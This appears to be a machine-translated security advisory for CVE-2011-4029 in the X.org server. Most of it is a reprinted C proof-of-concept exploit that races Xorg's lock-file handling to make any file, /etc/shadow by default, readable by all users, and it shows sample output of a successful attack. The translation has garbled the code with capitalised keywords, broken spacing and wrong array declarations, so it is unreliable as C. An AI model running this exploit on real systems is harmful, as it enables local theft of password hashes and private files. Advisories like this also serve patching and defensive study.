X. Org X11 File Read Permission Information Leakage Vulnerability

Release date: 2011-10-31
Updated on: 2011-10-31

Affected Systems:
Ubuntu Linux 11.x
Ubuntu Linux 10.x
X.org xorg-server 1.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 50196
Cve id: CVE-2011-4029

X. Org is the open-source implementation of X Window System by X. Org Foundation.

X. Org X11 has the information leakage vulnerability. Local attackers can exploit this vulnerability to obtain local file content.

<* Source: Vladz

Link: http://permalink.gmane.org/gmane.comp.security.oss.general/6033
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

/* Xchmod. c -- Xorg file permission change vulnerability PoC

Author: vladz (http://vladz.devzero.fr)
Date: 2011/10/27
Software: www.x.org
Version: Xorg 1.4 to 1.11.2 in all communications ations. Xorg 1.3 and
Earlier if built with the USE_CHMOD preprocessor identifier
Tested on: Debian 6.0.2 up to date with X default configuration
Issued from the xserver-xorg-core package
(Version. 7.7-13)
CVE-2011-4029 (CVE)

This PoC sets the rights 444 (read for all) on any file specified
Argument (default file is "/etc/shadow"). Another good use for
Attacker wocould be to dump an entire partition in order to disclose its
Full content later (via a "mount-o loop"). Made for EDUCATIONAL
Purposes only!

In some deployments, this exploit must be launched from a TTY
(Switch by typing Ctrl-Alt-Fn ).

Tested on Debian 6.0.2 up to date with X default configuration issued
From the xserver-xorg-core package (version. 7.7-13 ).

Compile: cc xchmod. c-o xchmod
Usage:./xchmod [/path/to/file] (default file is/etc/shadow)

$ Ls-l/etc/shadow
-Rw-r ----- 1 root shadow 1072 Aug 7/etc/shadow
$./Xchmod
[+] Trying to stop a Xorg process right before chmod ()
[+] Process ID 4134 stopped (SIGSTOP sent)
[+] Removing/tmp/. tX1-lock by launching another Xorg process
[+] Creating edevil symlink (/tmp/. tX1-lock->/etc/shadow)
[+] Process ID 4134 resumed (SIGCONT sent)
[+] Attack succeeded, ls-l/etc/shadow:
-R -- 1 root shadow 1072 Aug 7 07:10/etc/shadow

-----------------------------------------------------------------------

"The beer-ware license" (Revision 42 ):
<Vladz@devzero.fr> wrote this file. As long as you retain this notice
You can do whatever you want with this stuff. If we meet some day, and
You think this stuff is worth it, you can buy me a beer in return.-V.
*/
# Include <sys/types. h>
# Include <sys/stat. h>
# Include <fcntl. h>
# Include <unistd. h>
# Include <stdio. h>
# Include <syscall. h>
# Include <signal. h>
# Include <string. h>
# Include <stdlib. h>

# Define XORG_BIN "/usr/bin/X"
# Define DISPLAY ": 1"

Char * get_tty_number (void ){
Char tty_name [2, 128], * ptr;

Memset (tty_name, '\ 0', sizeof (tty_name ));
Readlink ("/proc/self/fd/0", tty_name, sizeof (tty_name ));

If (ptr = strstr (tty_name, "tty ")))
Return ptr + 3;

Return NULL;
}

Int launch_xorg_instance (void ){
Int child_pid;
Char * opt [] = {XORG_BIN, DISPLAY, NULL };

If (child_pid = fork () = 0 ){
Close (1); close (2 );
Execve (XORG_BIN, opt, NULL );
_ Exit (0 );
}

Return child_pid;
}

Void show_target_file (char * file ){
Char cmd [128];

Memset (cmd, '\ 0', sizeof (cmd ));
Sprintf (cmd, "/bin/ls-l % s", file );
System (cmd );
}

Int main (int argc, char ** argv ){
Pid_t proc;
Struct stat st;
Int n, ret, current_attempt = 800;
Char target_file [2, 128], lockfiletmp [20], lockfile [20], * ttyno;

If (argc <2)
Strcpy (target_file, "/etc/shadow ");
Else
Strcpy (target_file, argv [1]);

Sprintf (lockfile, "/tmp/. X % s-lock", DISPLAY + 1 );
Sprintf (lockfiletmp, "/tmp/. tX % s-lock", DISPLAY + 1 );

/* We must ensure that Xorg is not already running on this display */
If (stat (lockfile, & st) = 0 ){
Printf ("[-] % s exists, maybe Xorg is already running on this"
"Display? Choose another display by editing the DISPLAY"
"Attributes. \ n", lockfile );
Return 1;
}

/* This avoid execution to continue (and automatically switch to another
* TTY). Xorg quits with fatal error because the file that/tmp/. X? -Lock
* Links does not exist.
*/
Symlink ("/dontexist", lockfile );

/* We have to force this mask to not comprise our later checks */
Umask (077 );

Ttyno = get_tty_number ();

Printf ("[+] Trying to stop a Xorg process right before chmod () \ n ");
While (-- current_attempt ){
Proc = launch_xorg_instance ();

N = 0;
While (n ++ <10000)
If (ret = syscall (SYS_stat, lockfiletmp, & st) = 0)
Break;

If (ret = 0 ){
Syscall (SYS_kill, proc, SIGSTOP );
Printf ("[+] Process ID % d stopped (SIGSTOP sent) \ n", proc );

Stat (lockfiletmp, & st );
If (st. st_mode & 4) = 0)
Break;

Printf ("[-] % s file has wrong rights (% o) \ n"
"[+] Removing it by launching another Xorg process \ n ",
Lockfiletmp, st. st_mode );
Launch_xorg_instance ();
Sleep (7 );
}

Kill (proc, SIGKILL );
}

If (current_attempt = 0 ){
Printf ("[-] Attack failed. \ n ");

If (! Ttyno)
Printf ("Try with console ownership: switch to a TTY * by using"
"Ctrl-Alt-F [1-6] and try again. \ n ");

Return 1;
}

Printf ("[+] Removing % s by launching another Xorg process \ n ",
Lockfiletmp );
Launch_xorg_instance ();
Sleep (7 );

If (stat (lockfiletmp, & st) = 0 ){
Printf ("[-] % s lock file still here... :( \ n", lockfiletmp );
Return 1;
}

Printf ("[+] Creating edevil symlink (% s-> % s) \ n", lockfiletmp,
Target_file );
Symlink (target_file, lockfiletmp );

Printf ("[+] Process ID % d resumed (SIGCONT sent) \ n", proc );
Kill (proc, SIGCONT );

/* Wait for chmod () to finish */
Usleep (300000 );

Stat (target_file, & st );
If (! (St. st_mode & 004 )){
Printf ("[-] Attack failed, rights are % o. Try again! \ N ", st. st_mode );
Return 1;
}

/* Cleaning temporary link */
Unlink (lockfile );

Printf ("[+] Attack succeeded, ls-l % s: \ n", target_file );
Show_target_file (target_file );

Return 0;
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

X.org
-----
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.x.org/